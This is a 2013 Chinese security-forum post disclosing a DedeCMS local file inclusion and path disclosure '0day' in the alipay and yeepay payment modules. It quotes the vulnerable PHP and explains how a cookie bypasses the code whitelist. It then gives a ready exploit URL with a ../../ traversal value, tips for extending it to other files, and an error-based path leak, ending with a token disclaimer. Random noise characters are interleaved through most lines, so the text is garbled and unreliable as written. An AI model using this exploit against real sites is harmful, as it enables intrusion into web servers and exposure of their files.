找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2268|回复: 0
打印 上一主题 下一主题

dedecms本地文件包含及物理路径泄露0day

[复制链接]
跳转到指定楼层
楼主
发表于 2013-4-4 17:25:17 | 只看该作者 回帖奖励 |正序浏览 |阅读模式
晚餐吃撑了,瞄下代码消化消化。最近Php0day群里的兄弟都在讨论dede洞多,赶紧下了套,用editplus搜索了几个关键字,果然发现些问题。(话说平时写代码也喜欢用editplus,小巧方便多年习惯)' d* w+ ?8 H7 Q7 O2 }; k. `

1 I$ W" Q# y! j, p* T出现漏洞的两个文件为:; B8 Q& p  _3 v
Include/payment/alipay.php
! O" c3 @- P: e7 ], ?2 pInclude/payment/yeepay.php
! k, `: J) x- f' S' P" C, M% s漏洞均出现在respond方法里,估计这两个文件是临时工写的。
+ t6 U, A$ d9 N- l  s) R" V5 c. ~( N5 N% V; x9 s! e1 G0 R2 A/ b
Include/payment/alipay.php; q5 z5 q5 ^* I  X3 c
7 V4 T" B- n* Y
......
" P4 n2 p& |5 a' j   function respond()
- h/ W  n' l+ L% T    {
0 n& M. ~5 E% i9 S1 L7 Z        if (!empty($_POST)), t# s+ M8 j2 L% Y8 G& k
        {5 ^1 O" J5 V/ e8 P! l
            foreach($_POST as $key => $data)
9 a3 M) M) _! @. O4 v            {. l  K: t; d: _6 E4 z4 k
                $_GET[$key] = $data;
" Z$ `( @" d& S1 O# t) t+ R; [            }4 c5 l* l' f. g* L+ ]2 d! f! w
        }4 O9 V9 z3 C0 Y1 v: ^! y1 V/ z
        /* 引入配置文件 */
. d9 c9 R! [/ N# Z0 T6 m% t2 i- e7 m* X        require_once DEDEDATA.'/payment/'.$_GET['code'].'.php';
  `  i+ R  z3 x' B7 ~2 [  W" d: X. a...... 7 ]' j  ~& w, N3 N
" [3 b; ?/ f7 v+ L1 w
7 W1 [- f3 F' E" ~4 b
大概在133行左右,$_GET[‘code’]没有经过任何判断和过滤。
. f% h9 t3 U+ j
  `& o0 v1 t9 w5 Y3 [" N) XInclude/payment/yeepay.php
4 Q, t% A5 p( x! B9 _7 ^7 e( N1 L, e0 {5 P- g' V

- V) D" E' X, R2 N6 A: u0 K& Z
9 X# o  f% d; m) U! s: ]......
0 c; Q" O! p! M) d7 Z    function respond()
& k1 S% H2 C+ f8 `& W$ I    {
8 m* e* l: R: K; y6 g' ] , |7 {; j4 v+ m! J3 _9 }
        /* 引入配置文件 */
! c+ C4 ~7 X3 E! w* _$ {1 e6 q        require_once DEDEDATA.'/payment/'.$_REQUEST['code'].'.php';
0 s( A( w; C* f' V( u& p
- R8 E7 C1 @1 c3 B( b/ K4 V        $p1_MerId = trim($payment['yp_account']);" J/ ]4 z5 b  \( C
        $merchantKey = trim($payment['yp_key']);8 p# Z6 f- X8 ]7 ^( g9 I
...... 6 u6 \8 ~2 f; \$ @9 |9 s

9 j9 M0 }8 i* A; B+ Y' `
+ O8 W( O5 t! D5 h; y/ _& n . I5 R9 d' c0 V" [

/ p2 ^" Y/ n5 r5 v' P大概在145行左右,$_REQUEST['code']没有经过任何判断和过滤。' G7 g0 {3 A7 c7 Q3 I( x  v
* |. ~6 B$ H( ?9 `' R* E
这两个方法在plus/carbuyaction.php文件调用。
# z2 m% u* @) s% o# i- y0 F$ ?- ?) c& N7 p7 l# T+ B$ v2 ?& b
plus/carbuyaction.php
, K# T, D  m* u6 A8 A1 p0 v1 s3 N2 u+ s: |$ V0 b
......
- `5 D8 V4 o4 L} else if ($dopost == 'return') {2 ^, A# Q1 F8 B
    $write_list = array('alipay', 'bank', 'cod', 'yeepay');
: \: ~4 K8 M* Q( {7 @    if (in_array($code, $write_list))4 P! O4 y& k6 e
    {# q2 x4 [# i& n$ @# r
        require_once DEDEINC.'/payment/'.$code.'.php';
8 E# _$ E# b* x  J& U3 d        $pay = new $code;
- l' d, V5 l) t' H9 ]) \1 t& v0 L        $msg=$pay->respond();: v2 o0 r( _' z3 z$ _
        ShowMsg($msg, "javascript:;", 0, 3000);
2 W9 p3 p5 S8 y. c/ b6 T        exit();  
* p9 R: _! j. \- a    } else {
, ^* w* i5 J; B4 @        exit('Error:File Type Can\'t Recognized!');
, `/ T: g2 y/ L7 w    }
) O& E+ ]* v: H1 q: T0 I}
- s5 e7 S5 R7 H' c5 r; m# k: i6 X......
) n, N9 x9 Z7 K% W) }8 L/ { 3 X! g) M9 p* `4 d1 [" ]
5 J2 T# z* q3 G/ i9 d1 E2 i

5 Z3 z, v4 ^3 s8 g0 k& j* r7 B# i* ]

9 \  i  t+ g& F; R) |3 i* [$ K+ j: s! }1 v- W
大概在334行,当$dopost等于return的时候就开始进入过程了。熟悉dedecms朋友都知道在include/common.inc.php使用了一种类似register_globals的机制。
, S# \% @3 C3 S6 q- K0 z- P# Z所以$_GET['code']或$_REQUEST['code']会变成$code,而$code是经过判断的,值必须在$write_list数组以内这样才能继续后面的流程调用respond方法触发漏洞。这样的话貌似就无法控制$_GET['code']为任意值了。
5 Z4 n$ Z7 F$ ]% y
  Y% ^  f% v7 T  u回到include/common.inc.php来看看他的机制。
* `1 F- K% _) L0 b* h. `- s0 e2 w, U$ g

- W) h1 O0 q# \! c/ Z( G. d8 H1 Y3 P$ T3 m* y' _# h2 c
......( F- [+ [/ H8 \) G' ?& h, ?+ l$ [1 Z
foreach(Array('_GET','_POST','_COOKIE') as $_request)! o7 n7 C' F5 C7 d& i
{
  Q6 q6 @& n% n# ^2 ]4 Q        foreach($$_request as $_k => $_v)
3 e) E. h% T. O, ?% \        {
0 I5 `' _0 y! O; o+ z- }* n$ ~  U                if($_k == 'nvarname') ${$_k} = $_v;# I1 U2 L4 p* o% @! U
                else ${$_k} = _RunMagicQuotes($_v);; \  @  F0 u6 P
        }: ?; k/ }$ f. s
}* [' P/ L+ B7 W6 J- [  I* ?7 Z
......
4 I* a" K( C4 U. S大概在79行,可以看到他是从$_GET,$_POST,$_COOKIE这三个全局变量里取值的。嘿嘿,细心点就发现了吧。从他这个优先机制来讲他是先从get再从post再从cookie也就是说最终$code会是以$_COOKIE[‘code’]的值为准,而我们要控制的是$_GET[‘code’]或$_REQUEST['code']只须要$code的值在$write_list数组以内就行了。Exp:http://www.php0day.com/plus/carb ... amp;code=../../tags上面的Exp是包含根目录下的tags.php文件包含其他后缀请自行构造截断,使用exp测试时须要自己添加一个code等于alipay或yeepay的cookie。暴路径:
3 y3 c, b: H) Y2 A+ N由于bank和cod这两个文件并没有respond方法,所以如果code等于bank或者cod时将会暴错泄露路径。注:请勿非法测试,产生后果与本人无关。
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表